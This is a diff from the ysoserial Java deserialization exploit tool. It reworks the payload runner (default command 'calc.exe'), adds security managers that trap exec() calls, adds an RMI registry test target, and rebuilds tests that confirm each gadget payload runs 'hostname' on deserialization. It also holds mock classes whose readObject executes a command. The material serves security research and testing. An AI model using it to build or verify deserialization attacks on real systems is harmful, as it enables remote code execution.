||||||
|
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
|
||||||
|
public byte[] call() throws Exception {
|
||||||
|
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
|
||||||
|
|
||||||
|
System.out.println("generating payload object(s) for command: '" + command + "'");
|
||||||
|
|
||||||
|
final Object objBefore = clazz.newInstance().getObject(command);
|
||||||
|
|
||||||
|
System.out.println("serializing payload");
|
||||||
|
|
||||||
|
return Serializer.serialize(objBefore);
|
||||||
|
}});
|
||||||
|
|
||||||
try {
|
try {
|
||||||
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
|
|
||||||
|
|
||||||
System.out.println("generating payload object(s) for command: '" + command + "'");
|
|
||||||
|
|
||||||
final Object objBefore = clazz.newInstance().getObject(command);
|
|
||||||
|
|
||||||
System.out.println("serializing payload");
|
|
||||||
|
|
||||||
final byte[] serialized = serialize(objBefore);
|
|
||||||
|
|
||||||
System.out.println("deserializing payload");
|
System.out.println("deserializing payload");
|
||||||
|
final Object objAfter = Deserializer.deserialize(serialized);
|
||||||
final Object objAfter = deserialize(serialized);
|
|
||||||
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,34 +0,0 @@
|
|||||||
package ysoserial.payloads.util;
|
|
||||||
|
|
||||||
import java.io.ByteArrayInputStream;
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStream;
|
|
||||||
import java.io.ObjectInputStream;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
import java.io.OutputStream;
|
|
||||||
|
|
||||||
public class Serializables {
|
|
||||||
|
|
||||||
public static byte[] serialize(final Object obj) throws IOException {
|
|
||||||
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
|
||||||
serialize(obj, out);
|
|
||||||
return out.toByteArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void serialize(final Object obj, final OutputStream out) throws IOException {
|
|
||||||
final ObjectOutputStream objOut = new ObjectOutputStream(out);
|
|
||||||
objOut.writeObject(obj);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
|
|
||||||
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
|
|
||||||
return deserialize(in);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
|
|
||||||
final ObjectInputStream objIn = new ObjectInputStream(in);
|
|
||||||
return objIn.readObject();
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
+215
@@ -0,0 +1,215 @@
|
|||||||
|
package ysoserial.secmgr;
|
||||||
|
|
||||||
|
import java.io.FileDescriptor;
|
||||||
|
import java.net.InetAddress;
|
||||||
|
import java.security.Permission;
|
||||||
|
|
||||||
|
public class DelegateSecurityManager extends SecurityManager {
|
||||||
|
private SecurityManager securityManager;
|
||||||
|
|
||||||
|
public SecurityManager getSecurityManager() {
|
||||||
|
return securityManager;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setSecurityManager(SecurityManager securityManager) {
|
||||||
|
this.securityManager = securityManager;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean getInCheck() {
|
||||||
|
return getSecurityManager().getInCheck();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Object getSecurityContext() {
|
||||||
|
return getSecurityManager().getSecurityContext();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPermission(Permission perm) {
|
||||||
|
getSecurityManager().checkPermission(perm);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPermission(Permission perm, Object context) {
|
||||||
|
getSecurityManager().checkPermission(perm, context);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkCreateClassLoader() {
|
||||||
|
getSecurityManager().checkCreateClassLoader();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkAccess(Thread t) {
|
||||||
|
getSecurityManager().checkAccess(t);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkAccess(ThreadGroup g) {
|
||||||
|
|
||||||
|
getSecurityManager().checkAccess(g);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkExit(int status) {
|
||||||
|
|
||||||
|
getSecurityManager().checkExit(status);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkExec(String cmd) {
|
||||||
|
|
||||||
|
getSecurityManager().checkExec(cmd);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkLink(String lib) {
|
||||||
|
|
||||||
|
getSecurityManager().checkLink(lib);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkRead(FileDescriptor fd) {
|
||||||
|
|
||||||
|
getSecurityManager().checkRead(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkRead(String file) {
|
||||||
|
|
||||||
|
getSecurityManager().checkRead(file);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkRead(String file, Object context) {
|
||||||
|
|
||||||
|
getSecurityManager().checkRead(file, context);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkWrite(FileDescriptor fd) {
|
||||||
|
|
||||||
|
getSecurityManager().checkWrite(fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkWrite(String file) {
|
||||||
|
|
||||||
|
getSecurityManager().checkWrite(file);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkDelete(String file) {
|
||||||
|
|
||||||
|
getSecurityManager().checkDelete(file);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkConnect(String host, int port) {
|
||||||
|
|
||||||
|
getSecurityManager().checkConnect(host, port);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkConnect(String host, int port, Object context) {
|
||||||
|
|
||||||
|
getSecurityManager().checkConnect(host, port, context);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkListen(int port) {
|
||||||
|
|
||||||
|
getSecurityManager().checkListen(port);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkAccept(String host, int port) {
|
||||||
|
|
||||||
|
getSecurityManager().checkAccept(host, port);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkMulticast(InetAddress maddr) {
|
||||||
|
|
||||||
|
getSecurityManager().checkMulticast(maddr);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkMulticast(InetAddress maddr, byte ttl) {
|
||||||
|
|
||||||
|
getSecurityManager().checkMulticast(maddr, ttl);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPropertiesAccess() {
|
||||||
|
|
||||||
|
getSecurityManager().checkPropertiesAccess();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPropertyAccess(String key) {
|
||||||
|
|
||||||
|
getSecurityManager().checkPropertyAccess(key);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean checkTopLevelWindow(Object window) {
|
||||||
|
|
||||||
|
return getSecurityManager().checkTopLevelWindow(window);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPrintJobAccess() {
|
||||||
|
|
||||||
|
getSecurityManager().checkPrintJobAccess();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkSystemClipboardAccess() {
|
||||||
|
|
||||||
|
getSecurityManager().checkSystemClipboardAccess();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkAwtEventQueueAccess() {
|
||||||
|
|
||||||
|
getSecurityManager().checkAwtEventQueueAccess();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPackageAccess(String pkg) {
|
||||||
|
|
||||||
|
getSecurityManager().checkPackageAccess(pkg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPackageDefinition(String pkg) {
|
||||||
|
|
||||||
|
getSecurityManager().checkPackageDefinition(pkg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkSetFactory() {
|
||||||
|
|
||||||
|
getSecurityManager().checkSetFactory();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkMemberAccess(Class<?> clazz, int which) {
|
||||||
|
|
||||||
|
getSecurityManager().checkMemberAccess(clazz, which);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkSecurityAccess(String target) {
|
||||||
|
|
||||||
|
getSecurityManager().checkSecurityAccess(target);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public ThreadGroup getThreadGroup() {
|
||||||
|
|
||||||
|
return getSecurityManager().getThreadGroup();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
package ysoserial.secmgr;
|
||||||
|
|
||||||
|
import java.security.Permission;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.LinkedList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
public class ExecCheckingSecurityManager extends SecurityManager {
|
||||||
|
public ExecCheckingSecurityManager() {
|
||||||
|
this(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public ExecCheckingSecurityManager(boolean throwException) {
|
||||||
|
this.throwException = throwException;
|
||||||
|
}
|
||||||
|
|
||||||
|
private final boolean throwException;
|
||||||
|
|
||||||
|
private final List<String> cmds = new LinkedList<String>();
|
||||||
|
|
||||||
|
public List<String> getCmds() {
|
||||||
|
return Collections.unmodifiableList(cmds);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPermission(final Permission perm) { }
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkPermission(final Permission perm, final Object context) { }
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void checkExec(final String cmd) {
|
||||||
|
super.checkExec(cmd);
|
||||||
|
|
||||||
|
cmds.add(cmd);
|
||||||
|
|
||||||
|
if (throwException) {
|
||||||
|
// throw a special exception to ensure we can detect exec() in the test
|
||||||
|
throw new ExecException(cmd);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("serial")
|
||||||
|
public static class ExecException extends RuntimeException {
|
||||||
|
private final String threadName = Thread.currentThread().getName();
|
||||||
|
private final String cmd;
|
||||||
|
public ExecException(String cmd) { this.cmd = cmd; }
|
||||||
|
public String getCmd() { return cmd; }
|
||||||
|
public String getThreadName() { return threadName; }
|
||||||
|
@
|
||||||
|
Override
|
||||||
|
public String getMessage() {
|
||||||
|
return "executed `" + getCmd() + "` in [" + getThreadName() + "]";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void wrap(final Runnable runnable) throws Exception {
|
||||||
|
wrap(new Callable<Void>(){
|
||||||
|
public Void call() throws Exception {
|
||||||
|
runnable.run();
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public <T> T wrap(final Callable<T> callable) throws Exception {
|
||||||
|
SecurityManager sm = System.getSecurityManager(); // save sm
|
||||||
|
System.setSecurityManager(this);
|
||||||
|
try {
|
||||||
|
T result = callable.call();
|
||||||
|
if (throwException && ! getCmds().isEmpty()) {
|
||||||
|
throw new ExecException(getCmds().get(0));
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) {
|
||||||
|
throw new ExecException(getCmds().get(0));
|
||||||
|
} else {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
System.setSecurityManager(sm); // restore sm
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
package ysoserial.secmgr;
|
||||||
|
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
public class ThreadLocalSecurityManager extends DelegateSecurityManager {
|
||||||
|
private static final ThreadLocalSecurityManager INSTANCE
|
||||||
|
= new ThreadLocalSecurityManager();
|
||||||
|
|
||||||
|
private final ThreadLocal<SecurityManager> threadDelegates
|
||||||
|
= new ThreadLocal<SecurityManager>();
|
||||||
|
|
||||||
|
public void install() {
|
||||||
|
System.setSecurityManager(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void setSecurityManager(SecurityManager threadManager) {
|
||||||
|
threadDelegates.set(threadManager);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public SecurityManager getSecurityManager() {
|
||||||
|
return threadDelegates.get();
|
||||||
|
}
|
||||||
|
|
||||||
|
public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
|
||||||
|
SecurityManager old = getSecurityManager();
|
||||||
|
setSecurityManager(sm);
|
||||||
|
try {
|
||||||
|
return callable.call();
|
||||||
|
} finally {
|
||||||
|
setSecurityManager(old);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
package ysoserial;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.ObjectInputStream;
|
|
||||||
import java.io.Serializable;
|
|
||||||
|
|
||||||
@SuppressWarnings("serial")
|
|
||||||
public class ExecSerializable implements Serializable {
|
|
||||||
private void readObject(final ObjectInputStream ois) {
|
|
||||||
try {
|
|
||||||
Runtime.getRuntime().exec("hostname");
|
|
||||||
} catch (IOException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
package ysoserial;
|
|
||||||
|
|
||||||
import java.io.Serializable;
|
|
||||||
|
|
||||||
import ysoserial.payloads.ObjectPayload;
|
|
||||||
|
|
||||||
public class MockPayload implements ObjectPayload {
|
|
||||||
private final Serializable obj;
|
|
||||||
|
|
||||||
public MockPayload(final Serializable obj) {
|
|
||||||
this.obj = obj;
|
|
||||||
}
|
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
|
||||||
return obj;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
package ysoserial;
|
|
||||||
|
|
||||||
import java.security.Permission;
|
|
||||||
import java.util.LinkedList;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
public class MockSecurityManager extends SecurityManager {
|
|
||||||
private final List<Permission> checks = new LinkedList<Permission>();
|
|
||||||
|
|
||||||
public List<Permission> getChecks() {
|
|
||||||
return checks;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void checkPermission(final Permission perm) {
|
|
||||||
checks.add(perm);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void checkPermission(final Permission perm, final Object context) {
|
|
||||||
checks.add(perm);
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -3,6 +3,6 @@ package ysoserial;
|
|||||||
public class Throwables {
|
public class Throwables {
|
||||||
public static Throwable getInnermostCause(final Throwable t) {
|
public static Throwable getInnermostCause(final Throwable t) {
|
||||||
final Throwable cause = t.getCause();
|
final Throwable cause = t.getCause();
|
||||||
return cause == null ? t : getInnermostCause(cause);
|
return cause == null || cause == t ? t : getInnermostCause(cause);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package ysoserial.exploit;
|
||||||
|
|
||||||
|
import java.rmi.RemoteException;
|
||||||
|
import java.rmi.registry.LocateRegistry;
|
||||||
|
import java.rmi.registry.Registry;
|
||||||
|
|
||||||
|
public class RMIRegistryExploitTest {
|
||||||
|
public static void createRegistry(int port) throws RemoteException {
|
||||||
|
Registry registry = LocateRegistry.createRegistry(port);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws RemoteException, InterruptedException {
|
||||||
|
String portStr = args.length > 0 && args[0] != null ? args[0] : "1099";
|
||||||
|
int port = Integer.parseInt(portStr);
|
||||||
|
createRegistry(port);
|
||||||
|
while (true) Thread.sleep(1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,89 +2,112 @@ package ysoserial.payloads;
|
|||||||
|
|
||||||
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
|
||||||
|
|
||||||
import java.io.FilePermission;
|
import java.io.File;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
import org.hamcrest.CoreMatchers;
|
||||||
|
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
|
||||||
import org.junit.Assert;
|
import org.junit.Assert;
|
||||||
import org.junit.Rule;
|
import org.junit.Rule;
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
|
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
|
||||||
import org.junit.experimental.theories.DataPoints;
|
|
||||||
import org.junit.experimental.theories.Theories;
|
|
||||||
import org.junit.experimental.theories.Theory;
|
|
||||||
import org.junit.runner.RunWith;
|
import org.junit.runner.RunWith;
|
||||||
|
import org.junit.runners.Parameterized;
|
||||||
|
import org.junit.runners.Parameterized.Parameters;
|
||||||
|
|
||||||
import ysoserial.ExecSerializable;
|
import ysoserial.Deserializer;
|
||||||
import ysoserial.MockPayload;
|
import ysoserial.Serializer;
|
||||||
import ysoserial.MockSecurityManager;
|
|
||||||
import ysoserial.Throwables;
|
import ysoserial.Throwables;
|
||||||
import ysoserial.payloads.CommonsCollections1;
|
import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
|
||||||
import ysoserial.payloads.Groovy1;
|
import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
|
||||||
import ysoserial.payloads.ObjectPayload;
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
import ysoserial.payloads.Spring1;
|
import ysoserial.payloads.util.ClassFiles;
|
||||||
import ysoserial.payloads.util.Serializables;
|
import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||||
|
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
|
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws
|
||||||
* a special exception when an exec() attempt is made for more reliable detection; self-tests
|
* a special exception when an exec() attempt is made for more reliable detection; self-tests
|
||||||
* the harness for trivial pass and failure cases
|
* the harness for trivial pass and failure cases
|
||||||
|
|
||||||
|
TODO: figure out better way to test exception behavior than comparing messages
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"restriction","unused"})
|
@SuppressWarnings({"restriction", "unused", "unchecked"})
|
||||||
@RunWith(Theories.class)
|
@RunWith(Parameterized.class)
|
||||||
public class PayloadsTest {
|
public class PayloadsTest {
|
||||||
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
|
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
|
||||||
|
|
||||||
@SuppressWarnings("serial")
|
@Parameters(name = "payloadClass: {0}")
|
||||||
private static class ExecException extends RuntimeException {}
|
public static Class<? extends ObjectPayload<?>>[] payloads() {
|
||||||
private final MockSecurityManager msm = new MockSecurityManager(){
|
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
|
||||||
public void checkExec(final String cmd) {
|
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
|
||||||
super.checkExec(cmd);
|
return payloadClasses.toArray(new Class[0]);
|
||||||
// throw a special exception to ensure we can detect exec() in the test
|
}
|
||||||
throw new ExecException();
|
|
||||||
};
|
private final Class<? extends ObjectPayload<?>> payloadClass;
|
||||||
};
|
|
||||||
|
public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) {
|
||||||
@Rule
|
this.payloadClass = payloadClass;
|
||||||
public final ProvideSecurityManager psm = new ProvideSecurityManager(msm);
|
}
|
||||||
|
|
||||||
@DataPoints
|
@Test
|
||||||
public static ObjectPayload[] payloads() {
|
public void testPayload() throws Exception {
|
||||||
return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() };
|
testPayload(payloadClass, new Class[0]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class[] addlClassesForClassLoader) throws Exception {
|
||||||
|
final String command = "hostname";
|
||||||
|
final String[] deps = Dependencies.Utils.getDependencies(payloadClass);
|
||||||
|
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
|
||||||
|
final byte[] serialized = sm.wrap(new Callable<byte[]>(){
|
||||||
|
public byte[] call() throws Exception {
|
||||||
|
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||||
|
final Object f = payload.getObject(command);
|
||||||
|
return Serializer.serialize(f);
|
||||||
|
}});
|
||||||
|
|
||||||
@Theory
|
|
||||||
public void testPayload(final ObjectPayload payload) throws Exception {
|
|
||||||
final Object f = payload.getObject("hostname");
|
|
||||||
final byte[] serialized = Serializables.serialize(f);
|
|
||||||
|
|
||||||
// special case for using TemplatesImpl gadgets with SecurityManager
|
|
||||||
System.setProperty(DESERIALIZE_TRANSLET, "true");
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
final Object obj = Serializables.deserialize(serialized);
|
Object deserialized = sm.wrap(new Callable<Object>(){
|
||||||
|
public Object call() throws Exception {
|
||||||
|
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
Assert.fail(ASSERT_MESSAGE); // should never get here
|
Assert.fail(ASSERT_MESSAGE); // should never get here
|
||||||
} catch (Exception e) {
|
} catch (Throwable e) {
|
||||||
// hopefully everything will reliably nest our ExecException
|
// hopefully everything will reliably nest our ExecException
|
||||||
Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class);
|
Throwable innerEx = Throwables.getInnermostCause(e);
|
||||||
}
|
Assert.assertEquals(ExecException.class, innerEx.getClass());
|
||||||
|
Assert.assertEquals(command, ((ExecException) innerEx).getCmd());
|
||||||
// confirm sm saw the check for file execution
|
|
||||||
Assert.assertTrue(msm.getChecks().contains(new FilePermission("<<ALL FILES>>", "execute")));
|
|
||||||
}
|
|
||||||
|
|
||||||
// make sure test harness fails properly
|
|
||||||
@Test
|
|
||||||
public void testHarnessFail() throws Exception {
|
|
||||||
try {
|
|
||||||
testPayload(new MockPayload(1));
|
|
||||||
Assert.fail("should have failed");
|
|
||||||
} catch (AssertionError e) {
|
|
||||||
Assert.assertEquals(ASSERT_MESSAGE, e.getMessage());
|
|
||||||
}
|
}
|
||||||
|
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
|
||||||
}
|
}
|
||||||
|
|
||||||
// make sure test harness passes properly
|
@SuppressWarnings({ "unchecked" })
|
||||||
@Test
|
private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
|
||||||
public void testHarnessPass() throws Exception {
|
File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
|
||||||
testPayload(new MockPayload(new ExecSerializable()));
|
URL[] urls = new URL[jars.length];
|
||||||
|
for (int i = 0; i < jars.length; i++) {
|
||||||
|
urls[i] = jars[i].toURI().toURL();
|
||||||
|
}
|
||||||
|
|
||||||
|
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{
|
||||||
|
for (Class<?> clazz : classDependencies) {
|
||||||
|
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
|
||||||
|
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
|
||||||
|
}
|
||||||
|
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
|
||||||
|
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||||
|
|
||||||
|
}};
|
||||||
|
|
||||||
|
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
|
||||||
|
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
|
||||||
|
final Object obj = deserializer.call();
|
||||||
|
return obj;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+66
@@ -0,0 +1,66 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.Serializable;
|
||||||
|
|
||||||
|
import org.hamcrest.CoreMatchers;
|
||||||
|
import org.junit.Assert;
|
||||||
|
import org.junit.Test;
|
||||||
|
|
||||||
|
public class TestHarnessTest {
|
||||||
|
// make sure test harness fails properly
|
||||||
|
@Test
|
||||||
|
public void testHarnessExecFail() throws Exception {
|
||||||
|
try {
|
||||||
|
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
|
||||||
|
Assert.fail("should have failed");
|
||||||
|
} catch (AssertionError e) {
|
||||||
|
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// make sure test harness fails properly
|
||||||
|
@Test
|
||||||
|
public void testHarnessClassLoaderFail() throws Exception {
|
||||||
|
try {
|
||||||
|
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
|
||||||
|
Assert.fail("should have failed");
|
||||||
|
} catch (AssertionError e) {
|
||||||
|
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// make sure test harness passes properly with trivial execution gadget
|
||||||
|
@Test
|
||||||
|
public void testHarnessExecPass() throws Exception {
|
||||||
|
PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {
|
||||||
|
public ExecMockSerializable getObject(String command) throws Exception {
|
||||||
|
return new ExecMockSerializable(command);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class NoopMockPayload implements ObjectPayload<Integer> {
|
||||||
|
public Integer getObject(String command) throws Exception {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("serial")
|
||||||
|
public static class ExecMockSerializable implements Serializable {
|
||||||
|
private final String cmd;
|
||||||
|
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
|
||||||
|
|
||||||
|
private void readObject(final ObjectInputStream ois) {
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec("hostname");
|
||||||
|
} catch (IOException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user